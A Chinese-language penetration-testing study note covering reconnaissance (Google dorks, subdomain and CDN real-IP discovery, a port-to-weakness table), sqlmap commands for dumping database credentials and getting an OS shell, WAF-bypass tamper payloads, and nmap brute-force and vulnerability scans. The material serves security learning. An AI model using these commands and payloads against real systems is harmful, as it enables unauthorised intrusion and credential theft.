滲透測試學習筆記
本文只做學習用途,嚴禁利用本文提到的技術進行非法攻擊,否則後果自負,本人不承擔任何責任。
資訊收集
收集域名資訊
-
Whois查詢
kali:
whois baidu.com
愛站工具網:https://whois.aizhan.com
VirusTotal:https://www.virustotal.com
-
備案資訊查詢
ICP備案查詢網:http://www.beianbeian.com 天眼查:http://www.tianyancha.com
收集敏感資訊
Google語法
site:可以限制你搜索範圍的域名;
inurl:用於搜尋網頁上包含的URL,這個語法對尋找網頁上的搜尋,幫助之類的很有用;
intext: 只搜尋網頁部分中包含的文字(也就是忽略了標題、URL等的文字);
intitle: 查包含關鍵詞的頁面,一般用於社工別人的webshell密碼;
filetype:搜尋檔案的字尾或者副檔名;
intitle:限制你搜索的網頁標題;
查詢後臺地址:
site:域名inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查詢文字內容:
site:域名 intext:管理|後臺|登陸|使用者名稱|密碼|驗證碼|系統|admin|login|sys|managetem|password|username
查詢可注入點:
site:域名 inurl:aspx|jsp|php|asp
查詢上傳漏洞:
site:域名 inurl:file|load|editor|Files
找eweb編輯器:
site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的資料庫:
site:域名 filetype:mdb|asp|#
檢視指令碼型別:
site:域名 filetype:asp/aspx/php/jsp
迂迴策略入侵:
inurl:cms/data/templates/images/index/
烏雲漏洞表:https://wooyun.shuimugan.com
收集子域名資訊
-
子域名檢測工具
Layer子域名挖掘機、K8、wydomain、Sublist3r、dnsmaper、subDomainsBrute、Maltego CE等
-
搜尋引擎列舉
如利用google語法搜尋子域名:
site:baidu.com
-
第三方聚合工具列舉
如DNSSdumpster網、線上DNS偵查
-
證書透明度
crt.sh:https://crt.sh
censys:https://censys.io
收集常用埠資訊
nmap、無狀態埠掃描工具Masscan、ZMap、御劍告訴TCP埠掃描工具
埠號 | 漏洞名稱 |
---|---|
21 | FTP弱密碼 |
22 | SSH弱密碼 |
23 | telnet弱密碼 |
25 | 郵件偽造、vrfy/expn查詢郵件使用者資訊、可使用smtp-user-enum工具來自動跑 |
53 | 允許區域傳送、dns劫持、快取投毒、欺騙以及各種基於dns隧道的遠控 |
69 | 嘗試下載目標及其的各類重要配置檔案 |
80-89、443、8440-8450、8080-8089 | 應用伺服器埠可嘗試經典的topn、vpn、owa、webmail、目標oa、Java控制檯、伺服器Web管理面板、Web中介軟體漏洞利用、Web框架漏洞利用等等 |
110 | POP3可嘗試爆破、嗅探 |
111、2049 | NFS 許可權配置不當 |
137、139、445 | SMB 嘗試爆破以及smb自身的各種遠端執行類漏洞利用、如、ms08-067、ms17-010、嗅探等…… |
143 | IMAP |
161 | snmp預設團體名/弱口令漏洞 |
389 | LDAP、ILS |
443 | poodle漏洞:ssl3協議禁用 |
445 | ms17-010、ms08-067 |
464 | kpasswd Kerberos 口令和鑰匙改換服務 |
512、513、514 | Linux rexec 可爆破、rlogin登陸 |
554 | RTSP |
873 | Rsync未授權訪問、匿名訪問、檔案上傳 |
1194 | OpenVPN想辦法釣VPN賬號、進內網 |
1352 | Lotus |
1433 | SQL弱口令、資訊洩漏、爆破 |
1500 | ISPmanager |
1521 | Oracle注入、提權、sa弱口令、爆破 |
1723 | PPTP弱口令 |
2082、2083 | cPanel 弱口令 |
2181 | ZooKeeper弱口令 |
2601、2604 | Zebra 預設密碼zerbra |
3128 | Squid預設密碼zerbra |
3306 | mysql弱密碼 |
3312、3311 | kangle 弱口令 |
3389 | ms12-020、Windows注入、提權、爆破 |
3690 | SVN svn洩露、未授權訪問 |
4848 | GlassFish 弱口令 |
5000 | Sybase/DB2爆破、注入 |
5432 | PostgreSQL爆破、注入 |
5900、5901、5902 | VNC 弱口令爆破 |
5984 | CouchDB遠端程式碼執行、弱口令爆破 |
6379 | redis未授權訪問 |
7001、7002 | WebLogic反序列化漏洞(cve-2018-2893) |
7778 | KloxoJava反序列化、弱口令 |
8000 | Ajenti主機面板登入 |
8069 | Zabbix弱口令 |
8080-8089 | Jenkins、JBoss |
8161 | activemq後臺弱密碼漏洞 |
8393 | solr |
8443 | Plesk弱口令 |
9080、9081、9090 | WebSphere(應用伺服器) Java反序列化/弱口令 |
9200、9300 | Elasticsearch未授權訪問漏洞、任意檔案讀取、遠端命令執行 |
11211 | Memcached 未授權訪問 |
27017、27018 | MongoDB 爆破、未授權訪問 |
50070、50030 | Hadoop爆破、未授權訪問 |
61616 | (ActiveMQ訊息佇列埠)ActiveMQ反序列化漏洞(CVE-2015-5254) |
指紋識別
御劍web指紋識別、WhatWeb、WebRobo、椰樹等
bugScaner:http://whatweb.bugscaner.com/look/
雲悉指紋:http://www.yunsee.cn/finger.html
WhatWeb:https://whatweb.net/
查詢真實IP
-
判斷目標是否使用了CDN
利用線上網站17CE(https://www.17ce.com)進行全國多地區的ping服務操作。
-
繞過CDN尋找真實IP
-
內部郵箱源
一般郵箱系統都在內部,沒有經過CDN的解析。
-
掃描網站測試檔案
如phpinfo、test等。
-
分站掃描
一般只主站掛CDN,分站沒有。
-
國外訪問
國內的CDN往往只對國內使用者的訪問加速。
國外線上代理網站App Synthetic Monitor(https://asm.ca.com/en/ping.php)
-
查詢域名的解析記錄
也行域名很久以前沒有用過CDN,所以可以查詢域名的IP記錄
網站NETCRAFT(https://www.netcraft.com)
-
利用APP查詢
如果目標網站有自己的APP,可以嘗試使用Fiddler或者Burp抓包看APP請求
-
繞過CloudFlare CDN查詢真實IP
很多網站都使用CloudFlare提供的CDN服務,在確定目標網站使用CDN後,可以先嚐試使用線上網站CloudFlareWatch()
-
收集敏感目錄檔案
工具有DirBuster、御劍後臺掃描、wwwscan、Spinder.py、Sensitivefilescan、Weakfilescan等
社會工程學
可以收集郵件、QQ、電話號碼、姓名等資訊
可以利用社工庫查詢想要的資訊
常用滲透測試工具
SQLMap
-
注入access資料庫常用的引數
sqlmap.py -u "url" //判斷引數是否存在注入
sqlmap.py -u "url" --tables //猜解表名
sqlmap.py -u "url" --columns -T "要猜解的表名" //猜解列名
sqlmap.py -u "url" --dump -C "列名" -T “表名” //爆出欄位資料
-
注入MySQL資料庫常用引數
sqlmap.py -u "url" //判斷引數是否存在注入
sqlmap.py -u "url" --current-db //檢視網站當前資料庫
sqlmap.py -u "url" --is-dba //檢視當前使用者許可權
sqlmap.py -u "url" --tables //猜解表名
sqlmap.py -u "url" --columns -T "要猜解的表名" //猜解列名
sqlmap.py -u "url" --dump -C "列名" -T “表名” //爆出欄位資料
-
一些常用引數集合
--help //檢視幫助選項
--dbs //檢視網站所有資料庫
--users //檢視所有資料庫的使用者
--count //統計條數 (該條命令可用在爆表名的時候,便於檢視哪個是管理員的表)
--level //測試等級(1-5)預設是1,cookie注入是2,http頭注入是3
--dbms=mysql/oracle/mssql 指定資料庫(這樣既可以節省時間,在某些時候也可以繞過waf)
sqlmap.py -u “url”--batch --exclude-sysdbs //batch是使用sqlmap預設選項,不用按回車;exclude-sysdbs是排除系統自帶的資料庫
顯示調式資訊
-v 顯示呼叫資訊有7個級別:
0只顯示python錯誤以及嚴重的資訊 1同時顯示基本資訊和警告資訊。 2同時顯示debug資訊 3同時顯示注入的payload 4同時顯示http請求 5同時顯示http響應頭 6同時顯示http響應頁面
--risk //風險等級,共有四個等級,1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的sql注入測試
-m //從文字中獲取多個目標,檔案中儲存url格式,sqlmap會一個一個測試 sqlmap.py -m 1.txt
-r //獲取http請求注入,sqlmap可以從一個文字檔案中獲取http請求,這樣就可以跳過設定一些其他引數,在存在注入的http請求頭加*。
利用的場景:post,搜尋注入,http頭注入,登陸後的注入(在登入後存在注入點,因為只有在登入後才有cookie)
-g //處理google搜尋結果, sqlmap可以測試注入google的搜尋結果中的get引數(前100個請求) sqlmap.py -g "inurl:php?id="
入門內容
-
判斷是否存在注入
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1
當注入點後面的引數大於等於兩個時,需要加雙引號
sqlmap -u "http://localhost/sqlilabs/Less-1/?id=1&uid=2"
-
判斷文字中的請求是否存在注入
sqlmap -r desktop/1.txt
-
查詢當前使用者下的所有資料庫
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --dbs
-
查詢資料庫中的表名
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security --tables
-
獲取表中的欄位名
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security -T users --columns
-
獲取欄位內容
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security -T users -C username,password --dump
-
獲取資料庫的所有使用者
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --users
-
獲取資料庫使用者的密碼
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --passwords
-
獲取當前網站資料庫的名稱
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --current-db
-
獲取當前網站資料庫的使用者名稱稱
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --current-user
進階內容
-
--level 5
:探測等級指需要執行的測試等級,不加時預設為1。SQLMap使用的Payload可以在xml/payloads.xml中看到,也可以根據相應的格式自己新增payload。其中5級包含的payload最多,會自動破解出cookie、XFF等頭部注入。
-
--is-dba
:檢視當前賬戶是否為管理員許可權如果是則返回
True
-
--roles
:列出資料庫管理員角色該命令用於檢視資料庫使用者的角色。如果當前使用者有許可權讀取包含所有使用者的表,輸入該命令會列舉出每個使用者的角色,也可以用
-U
引數指定想看哪個使用者的角色。該命令僅適用於當前資料庫是Oracle的時候。 -
--referer
:HTTP Referer頭SQLMap可以在請求中偽造HTTP中的referer,當
--feferer
引數設定為3或者3以上時,會嘗試對referer注入。可以使用該命令來欺騙,如:--erferer http://www.baidu.com
。 -
sql-shell
:執行自定義SQL語句用於執行指定的SQL語句,如:
sqlmap -u "http://localhost/sqlilabs/Less-1/?id=1" --sql-shell
-
os-cmd、--os-shell
:執行任意作業系統命令當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式時,如果資料庫在mysql、PostgreSQL,sqlmap上傳一個二進位制庫,包含使用者自定義的函式sys_exec()和sys_eval(),那麼他建立的這兩個函式可以執行系統命令。在Microsoft SQL Server,sqlmap將會使用xp_cmdshell儲存過程,如果被禁(在Microsoft SQL Server 2005及以上版本預設禁制),sqlmap會重新啟用它,如果不存在,會自動建立。
使用該命令的兩個條件:
- 當前賬戶為管理員許可權
secure_file_priv
為任意讀寫狀態,即為空- 查詢狀態命令:
show global variables like '%secure%';
- 在my.ini檔案中修改,修改後重啟資料庫
- 查詢狀態命令:
-
--file-read
:從資料庫伺服器中讀取檔案當資料庫為MySQL、PostgreSQL或者Microsoft SQL Server,並且當前使用者有許可權使用特定的函式時,讀取的檔案可以是文字,也可以是二進位制檔案。
-
--file-write、--file-dest
:上傳檔案到資料庫伺服器中當資料庫為MySQL、PostgreSQL或者Microsoft SQL Server,並且當前使用者有許可權使用特定的函式時,上傳的檔案可以是文字,也可以是二進位制檔案。
繞過指令碼
SQLMap在預設情況下除了使用CHAR()函式防止出現單引號,沒有對注入的資料進行修改,我們可以使用--tamper
引數對資料做修改來繞過WAF等裝置,大部分指令碼主要使用正則模組替換攻擊載荷字元編碼的方式來繞過檢測規則。
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --tamper "space2plus.py"
apostrophemask.py
適用資料庫:ALL
作用:將引號替換為 utf-8,用於過濾單引號
使用指令碼前:tamper("1 AND '1'='1")
使用指令碼後:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py
適用資料庫:ALL
作用:替換為 base64 編碼
使用指令碼前:tamper("1' AND SLEEP(5)#")
使用指令碼後:MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py
適用資料庫:ALL
作用:圍繞 sql 關鍵字新增多個空格
使用指令碼前:tamper('1 UNION SELECT foobar')
使用指令碼後:1 UNION SELECT foobar
space2plus.py
適用資料庫:ALL
作用:用加號替換空格
使用指令碼前:tamper('SELECT id FROM users')
使用指令碼後:SELECT+id+FROM+users
nonrecursivereplacement.py
適用資料庫:ALL
作用:作為雙重查詢語句,用雙重語句替代預定義的 sql 關鍵字(適用於非常弱的自定義過濾器,例如將 select 替換為空)
使用指令碼前:tamper('1 UNION SELECT 2--')
使用指令碼後:1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py
適用資料庫:ALL
作用:將空格替換為其他有效字元
使用指令碼前:tamper('SELECT id FROM users')
使用指令碼後:SELECT%0Did%0DFROM%0Ausers
unionalltounion.py
適用資料庫:ALL
作用:將union allselect
替換為unionselect
使用指令碼前:tamper('-1 UNION ALL SELECT')
使用指令碼後:-1 UNION SELECT
securesphere.py
適用資料庫:ALL
作用:追加特定的字串
使用指令碼前:tamper('1 AND 1=1')
使用指令碼後:1 AND 1=1 and '0having'='0having'
space2dash.py
適用資料庫:ALL
作用:將空格替換為--
,並新增一個隨機字串和換行符
使用指令碼前:tamper('1 AND 9227=9227')
使用指令碼後:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2mssqlblank.py
適用資料庫:Microsoft SQL Server
測試通過資料庫:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:將空格隨機替換為其他空格符號('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
使用指令碼前:tamper('SELECT id FROM users')
使用指令碼後:SELECT%0Eid%0DFROM%07users
between.py
測試通過資料庫:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #
替換>
使用指令碼前:tamper('1 AND A > B--')
使用指令碼後:1 AND A NOT BETWEEN 0 AND B--
pecentage.py
適用資料庫:ASP
測試通過資料庫:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每個字元前新增一個%
使用指令碼前:tamper('SELECT FIELD FROM TABLE')
使用指令碼後:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py
適用資料庫:MSSQL
作用:從 T-SQL 日誌的自動迷糊處理的有效載荷中追加 sp_password
使用指令碼前:tamper('1 AND 9227=9227-- ')
使用指令碼後:1 AND 9227=9227-- sp_password
charencode.py
測試通過資料庫:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:對給定的 payload 全部字元使用 url 編碼(不處理已經編碼的字元)
使用指令碼前:tamper('SELECT FIELD FROM%20TABLE')
使用指令碼後:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
randomcase.py
測試通過資料庫:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:隨機大小寫
使用指令碼前:tamper('INSERT')
使用指令碼後:INseRt
charunicodeencode.py
適用資料庫:ASP、ASP.NET
測試通過資料庫:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:適用字串的 unicode 編碼
使用指令碼前:tamper('SELECT FIELD%20FROM TABLE')
使用指令碼後:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
space2comment.py
測試通過資料庫:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:將空格替換為/**/
使用指令碼前:tamper('SELECT id FROM users')
使用指令碼後:SELECT/**/id/**/FROM/**/users
equaltolike.py
測試通過資料庫:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:將=
替換為LIKE
使用指令碼前:tamper('SELECT * FROM users WHERE id=1')
使用指令碼後:SELECT * FROM users WHERE id LIKE 1
equaltolike.py
測試通過資料庫:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:將>
替換為 GREATEST,繞過對>
的過濾
使用指令碼前:tamper('1 AND A > B')
使用指令碼後:1 AND GREATEST(A,B+1)=A
ifnull2ifisnull.py
適用資料庫:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
測試通過資料庫:MySQL 5.0 and 5.5
作用:將類似於IFNULL(A, B)
替換為IF(ISNULL(A), B, A)
,繞過對IFNULL
的過濾
使用指令碼前:tamper('IFNULL(1, 2)')
使用指令碼後:IF(ISNULL(1),2,1)
modsecurityversioned.py
適用資料庫:MySQL
測試通過資料庫:MySQL 5.0
作用:過濾空格,使用 mysql 內聯註釋的方式進行注入
使用指令碼前:tamper('1 AND 2>1--')
使用指令碼後:1 /*!30874AND 2>1*/--
space2mysqlblank.py
適用資料庫:MySQL
測試通過資料庫:MySQL 5.1
作用:將空格替換為其他空格符號('%09', '%0A', '%0C', '%0D', '%0B')
使用指令碼前:tamper('SELECT id FROM users')
使用指令碼後:SELECT%0Bid%0DFROM%0Cusers
modsecurityzeroversioned.py
適用資料庫:MySQL
測試通過資料庫:MySQL 5.0
作用:使用內聯註釋方式(/*!00000*/)
進行注入
使用指令碼前:tamper('1 AND 2>1--')
使用指令碼後:1 /*!00000AND 2>1*/--
space2mysqldash.py
適用資料庫:MySQL、MSSQL
作用:將空格替換為 --
,並追隨一個換行符
使用指令碼前:tamper('1 AND 9227=9227')
使用指令碼後:1--%0AAND--%0A9227=9227
bluecoat.py
適用資料庫:Blue Coat SGOS
測試通過資料庫:MySQL 5.1,、SGOS
作用:在 sql 語句之後用有效的隨機空白字元替換空格符,隨後用LIKE
替換=
使用指令碼前:tamper('SELECT id FROM users where id = 1')
使用指令碼後:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
適用資料庫:MySQL
測試通過資料庫:MySQL 4.0.18, 5.1.56, 5.5.11
作用:註釋繞過
使用指令碼前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
使用指令碼後:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
halfversionedmorekeywords.py
適用資料庫:MySQL < 5.1
測試通過資料庫:MySQL 4.0.18/5.0.22
作用:在每個關鍵字前新增 mysql 版本註釋
使用指令碼前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
使用指令碼後:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
space2morehash.py
適用資料庫:MySQL >= 5.1.13
測試通過資料庫:MySQL 5.1.41
作用:將空格替換為#
,並新增一個隨機字串和換行符
使用指令碼前:tamper('1 AND 9227=9227')
使用指令碼後:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
apostrophenullencode.py
適用資料庫:ALL
作用:用非法雙位元組 Unicode 字元替換單引號
使用指令碼前:tamper("1 AND '1'='1")
使用指令碼後:1 AND %00%271%00%27=%00%271
appendnullbyte.py
適用資料庫:ALL
作用:在有效載荷的結束位置載入 null 位元組字元編碼
使用指令碼前:tamper('1 AND 1=1')
使用指令碼後:1 AND 1=1%00
chardoubleencode.py
適用資料庫:ALL
作用:對給定的 payload 全部字元使用雙重 url 編碼(不處理已經編碼的字元)
使用指令碼前:tamper('SELECT FIELD FROM%20TABLE')
使用指令碼後:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
unmagicquotes.py
適用資料庫:ALL
作用:用一個多位元組組合%bf%27
和末尾通用註釋一起替換空格
使用指令碼前:tamper("1' AND 1=1")
使用指令碼後:1%bf%27 AND 1=1--
randomcomments.py
適用資料庫:ALL
作用:用註釋符分割 sql 關鍵字
使用指令碼前:tamper('INSERT')
使用指令碼後:I/**/N/**/SERT
Nmap
NMAP的功能包括:
- 主機發現 - 識別網路上的主機。例如,列出響應TCP和/或ICMP請求或開啟特定埠的主機。
- 埠掃描 - 列舉目標主機上的開放埠。
- 版本檢測 - 詢問遠端裝置上的網路服務以確定應用程式名稱和版本號。
- OS檢測 - 確定網路裝置的作業系統和硬體特性。
- 可與指令碼進行指令碼互動 - 使用Nmap指令碼引擎(NSE)和Lua程式語言。
入門內容
-
掃描單個地址
nmap 127.0.0.1
-
掃描多個目標地址
nmap 127.0.0.1 127.0.0.2
-
掃描一個範圍內的目標地址
nmap 127.0.0.1-100
-
掃描目標地址所在網段
nmap 127.0.0.1/24
-
掃描主機列表targets.txt中所有目標地址
nmap -iL c:\targets.txt
-
掃描除某一個目標地址之外的所有目標地址
nmap 127.0.0.1/24 -exclude 127.0.0.2
-
掃描除某一檔案中的目標地址之外的目標地址
nmap 127.0.0.1/24 -excludefile c:\targets.txt
-
掃描某一地址的21、22、23、80埠
nmap 127.0.0.1 -p 21,22,23,80
-
對目標地址進行路由跟蹤
nmap --traceroute 127.0.0.1
-
掃描目標地址所在C段的線上狀況
nmap -sP 127.0.0.1/24
-
目標地址的作業系統指紋識別
nmap -O 127.0.0.1
-
目標地址提供的服務版本檢測
nmap -sV 127.0.0.1
-
探測防火牆狀態
nmap -sF -T4 127.0.0.1
進階內容
指令碼介紹
- auth: 負責處理鑑權證書(繞開鑑權)的指令碼
- broadcast: 在區域網內探查更多服務開啟狀況,如dhcp/dns/sqlserver等服務
- brute: 提供暴力破解方式,針對常見的應用如http/snmp等
- default: 使用-sC或-A選項掃描時候預設的指令碼,提供基本指令碼掃描能力
- discovery: 對網路進行更多的資訊,如SMB列舉、SNMP查詢等
- dos: 用於進行拒絕服務攻擊
- exploit: 利用已知的漏洞入侵系統
- external: 利用第三方的資料庫或資源,例如進行whois解析
- fuzzer: 模糊測試的指令碼,傳送異常的包到目標機,探測出潛在漏洞 intrusive: 入侵性的指令碼,此類指令碼可能引發對方的IDS/IPS的記錄或遮蔽
- malware: 探測目標機是否感染了病毒、開啟了後門等資訊
- safe: 此類與intrusive相反,屬於安全性指令碼
- version: 負責增強服務與版本掃描(Version Detection)功能的指令碼
- vuln: 負責檢查目標機是否有常見的漏洞(Vulnerability),如是否有MS08_067
常用指令碼
可以設定--script=類別
進行掃描,常用引數如下。
-
-sC
:採用預設配置掃描,與--script=default
引數等價 -
--script=<lua scripts="">
:使用某個指令碼進行掃描 -
--script-args=key1=value1,key2=value2...
:該引數是用來傳遞腳本里面的引數的,key1 是引數名,該引數對應 value1 這個值,那麼有更多的引數,使用逗號連線 -
–script-args-file=filename
: 使用檔案來為指令碼提供引數 -
--script-trace
:如果設定該引數,則顯示所有的指令碼 -
--script-updatedb
:在 Nmap 的 scripts 目錄裡有一個 script.db 檔案,該檔案中儲存了當前 Nmap 可用的指令碼,類似於一個小型資料庫,如果我們開啟 nmap 並且呼叫了此引數,則 nmap 會自行掃描 scripts 目錄中的擴充套件指令碼,進行資料庫更新 -
--script-help = 指令碼名稱
呼叫該引數後,Nmap 會輸出該指令碼名稱對應的指令碼使用引數,以及詳細介紹資訊
例項
-
鑑權掃描
使用
--script=auth
可以對目標主機或目標主機所在網段進行應用弱口令檢測。nmap --script=auth 127.0.0.1
-
暴力破解攻擊
可以對資料庫、SMB、SNMP等進行簡單密碼的暴力猜解。
nmap --script=brute 127.0.0.1
-
常見漏洞的掃描
具備漏洞掃描的功能,可以檢查目標主機或網段是否存在常見的漏洞。
nmap --script=vuln 127.0.0.1
-
應用服務掃描
具備很多常見的應用服務掃描指令碼,例如VNC服務、MySQL服務、Telnet服務、Rsync服務等。
nmap --script=realvnc-auth-bypass 127.0.0.1
-
探測區域網內更多服務的開啟情況
輸入以下命令即可探測區域網內更多服務開啟的情況。
nmap -n -p 445 --script=broadcast 127.0.0.1
-
Whois解析
利用第三方的資料庫或者資源查詢目的地址的資訊,例如進行Whois解析。
nmap -script external baidu.com